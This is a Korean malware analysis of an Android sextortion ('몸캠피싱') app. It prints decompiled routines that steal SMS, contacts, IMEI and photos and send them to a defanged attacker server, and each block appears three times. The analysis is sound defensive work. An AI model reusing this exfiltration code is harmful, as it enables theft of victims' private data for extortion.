위와같은 사례에서 실제로 사용되는 몸캠피싱 악성 앱을 수집하여 분석을 진행하였습니다. 본 글에서는 몸캠 피싱에서 사용되는 다양한 종류의 악성 앱 중에서 SMSStealer 로 불리는 악성앱이 사용되었습니다.
3.1. 분석 파일 정보
내 영상.avr.rar(MD5 : E37304CB18BE94741D1A351D54DAC2D7)
혼자만봐.apk(MD5 : 3BD9CAAC7AE8EB77CB1910EAD489724A)
분석된 악성 앱은 내영상av.rar이라는 rar 압축파일 형태로 유포된 것으로 보입니다. 해당 파일의 압축을 해제하면 혼자만봐.apk 파일을 확인할 수 있습니다. 이 샘플 정보는 실제 상황에서 쓰였던 악성 앱입니다.
3.2. 악성행위 분석
실행 화면
![[그림 2] 악성 앱 실행 시 전환되는 화면 中 일부](https://framerusercontent.com/images/ZrFzjJPQn5d1tfceAvBQfNAVAE.png?width=828&height=978)
[그림 2] 악성 앱 실행 시 전환되는 화면 中 일부
악성 앱 실행 시 다음과 같은 화면과 정상적인 사용을 위해 모든 권한 허용을 요청하는 알림 창이 뜹니다. 여기서 모든 권한을 허용하게 되면, 피해자의 휴대폰에서 데이터를 훔치는 행위가 가능해집니다. 공격자는 데이터를 탈취하기 위해 합법적인 절차처럼 속여 권한 허용을 유도하며, 분석된 악성 앱에서는 정상적인 사용을 빌미로 권한을 허용하게끔 유도한 것으로 추정됩니다.
악성앱의 요구권한
해당악성앱에서 요구하는 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
악성앱의 요구권한 — 상세설명

[표 1] 악성 앱에서 사용되는 권한
몸캠 피싱 악성앱 대표적 악성행위 4가지
문자(SMS) 탈취
연락처 탈취
휴대폰 기기 정보 탈취
사진 및 동영상 탈취
문자(SMS) 탈취
피해자의 스마트폰에 저장되어 있는 문자(SMS)를 탈취하는 행위에 대한 코드는 다음과 같습니다. 탈취 후 공격자의 서버로 전송합니다.
ArrayList v0 = new ArrayList();
try {
Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
int v2 = 0;
if(v1.moveToFirst()) {
int v3 = v1.getColumnIndex("person");
int v4 = v1.getColumnIndex("address");
int v5 = v1.getColumnIndex("body");
int v6 = v1.getColumnIndex("date");
int v7 = v1.getColumnIndex("type");
do {
label_30:
v1.getString(v3);
String v8 = v1.getString(v4);
String v9 = v1.getString(v5);
SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date v11 = new Date(Long.parseLong(v1.getString(v6)));
v10.format(v11);
String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);
....
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
}ArrayList v0 = new ArrayList();
try {
Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
int v2 = 0;
if(v1.moveToFirst()) {
int v3 = v1.getColumnIndex("person");
int v4 = v1.getColumnIndex("address");
int v5 = v1.getColumnIndex("body");
int v6 = v1.getColumnIndex("date");
int v7 = v1.getColumnIndex("type");
do {
label_30:
v1.getString(v3);
String v8 = v1.getString(v4);
String v9 = v1.getString(v5);
SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date v11 = new Date(Long.parseLong(v1.getString(v6)));
v10.format(v11);
String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);
....
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
}ArrayList v0 = new ArrayList();
try {
Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
int v2 = 0;
if(v1.moveToFirst()) {
int v3 = v1.getColumnIndex("person");
int v4 = v1.getColumnIndex("address");
int v5 = v1.getColumnIndex("body");
int v6 = v1.getColumnIndex("date");
int v7 = v1.getColumnIndex("type");
do {
label_30:
v1.getString(v3);
String v8 = v1.getString(v4);
String v9 = v1.getString(v5);
SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date v11 = new Date(Long.parseLong(v1.getString(v6)));
v10.format(v11);
String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);
....
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
}
연락처 탈취
피해자의 스마트폰에 저장되어 있는 연락처 데이터를 공격자의 서버로 전송하는 행위의 코드는 다음과 같습니다. 이러한 기능을 이용하여 공격자는 피해자의 연락처에 있는 모든 사람들에게 음란 영상을 유포하겠다고 협박할 수 있습니다.
public boolean a() {
try {
ArrayList v1_1 = b.a(this.b);
if(v1_1 != null && !v1_1.isEmpty()) {
HashMap v2 = new HashMap();
v2.put("phone", this.a);
String v1_2 = new Gson().toJson(v1_1);
Log.d("##########", v1_2);
v2.put("contacts", v1_2);
Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
if(v1_3 != null) {
((Result)v1_3).isSuccess();
}
}
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
return 1;
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
}public boolean a() {
try {
ArrayList v1_1 = b.a(this.b);
if(v1_1 != null && !v1_1.isEmpty()) {
HashMap v2 = new HashMap();
v2.put("phone", this.a);
String v1_2 = new Gson().toJson(v1_1);
Log.d("##########", v1_2);
v2.put("contacts", v1_2);
Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
if(v1_3 != null) {
((Result)v1_3).isSuccess();
}
}
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
return 1;
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
}public boolean a() {
try {
ArrayList v1_1 = b.a(this.b);
if(v1_1 != null && !v1_1.isEmpty()) {
HashMap v2 = new HashMap();
v2.put("phone", this.a);
String v1_2 = new Gson().toJson(v1_1);
Log.d("##########", v1_2);
v2.put("contacts", v1_2);
Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
if(v1_3 != null) {
((Result)v1_3).isSuccess();
}
}
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
return 1;
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
}
스마트폰 기기 정보 탈취
스마트폰 고유번호(IMEI)를 비롯한 디바이스 기기 종류 관련 데이터도 수집하는 부분을 확인할 수 있습니다.
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
}
public boolean c() {
Object v0_2;
HashMap v0 = new HashMap();
String v1 = e.b(this.a);
try {
v0.put("phone", this.d);
v0.put("imei", v1 + "#" + e.a());
v0.put("model", e.a());
v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
}protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
}
public boolean c() {
Object v0_2;
HashMap v0 = new HashMap();
String v1 = e.b(this.a);
try {
v0.put("phone", this.d);
v0.put("imei", v1 + "#" + e.a());
v0.put("model", e.a());
v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
}protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
}
public boolean c() {
Object v0_2;
HashMap v0 = new HashMap();
String v1 = e.b(this.a);
try {
v0.put("phone", this.d);
v0.put("imei", v1 + "#" + e.a());
v0.put("model", e.a());
v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
}
사진 및 동영상 탈취
스마트폰 내부의 사진첩에 접근하여 동영상 및 사진 데이터를 수집할 수 있습니다.
...(중략)
HashMap v9 = new HashMap();
v9.put("upload", v5);
HashMap v8 = new HashMap();
v8.put("phone", this.a);
v8.put("time", String.valueOf(((Album)v3).getAddTime()));
Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
if(v4 == null) {
continue;
}
if(!((Result)v4).isSuccess()) {
continue;
}
com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
}
}
}
}
c.d = System.currentTimeMillis();
return 1;
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
}...(중략)
HashMap v9 = new HashMap();
v9.put("upload", v5);
HashMap v8 = new HashMap();
v8.put("phone", this.a);
v8.put("time", String.valueOf(((Album)v3).getAddTime()));
Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
if(v4 == null) {
continue;
}
if(!((Result)v4).isSuccess()) {
continue;
}
com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
}
}
}
}
c.d = System.currentTimeMillis();
return 1;
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
}...(중략)
HashMap v9 = new HashMap();
v9.put("upload", v5);
HashMap v8 = new HashMap();
v8.put("phone", this.a);
v8.put("time", String.valueOf(((Album)v3).getAddTime()));
Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
if(v4 == null) {
continue;
}
if(!((Result)v4).isSuccess()) {
continue;
}
com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
}
}
}
}
c.d = System.currentTimeMillis();
return 1;
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
}3.3 특이사항
특이사항 1 : 백신탐지 우회
수집된 샘플 중 일부 샘플은 dexprotector와 같은 코드 보호 프로그램(프로텍터)로 보호되어 있었습니다. 이는 백신 프로그램에서 탐지되는 것을 우회하거나, 분석 비용을 높이기 위함으로 추정됩니다.
특이사항 2 : 데이터 수집서버 URL확인
수집된 샘플들을 확인하던 중 정보 수집 서버 URL/IP만 다른 다수의 케이스도 확인할 수 있었습니다. 이 샘플들은 모두 동일한 공통 경로를 가지고 있었습니다.

[표 2] 공통된 경로를 가지는 악성 앱 정보 수집 URL/IP
public static String a(Context arg5) {
Object v1_1;
String v0_1;
String v1;
String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
StringBuffer v0 = new StringBuffer();
try {
URLConnection v5_2 = new URL(v5).openConnection();
((HttpURLConnection)v5_2).setRequestMethod("POST");
((HttpURLConnection)v5_2).setConnectTimeout(3000);
((HttpURLConnection)v5_2).setDoOutput(true);
((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
((HttpURLConnection)v5_2).connect();
BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)public static String a(Context arg5) {
Object v1_1;
String v0_1;
String v1;
String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
StringBuffer v0 = new StringBuffer();
try {
URLConnection v5_2 = new URL(v5).openConnection();
((HttpURLConnection)v5_2).setRequestMethod("POST");
((HttpURLConnection)v5_2).setConnectTimeout(3000);
((HttpURLConnection)v5_2).setDoOutput(true);
((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
((HttpURLConnection)v5_2).connect();
BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)public static String a(Context arg5) {
Object v1_1;
String v0_1;
String v1;
String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
StringBuffer v0 = new StringBuffer();
try {
URLConnection v5_2 = new URL(v5).openConnection();
((HttpURLConnection)v5_2).setRequestMethod("POST");
((HttpURLConnection)v5_2).setConnectTimeout(3000);
((HttpURLConnection)v5_2).setDoOutput(true);
((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
((HttpURLConnection)v5_2).connect();
BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)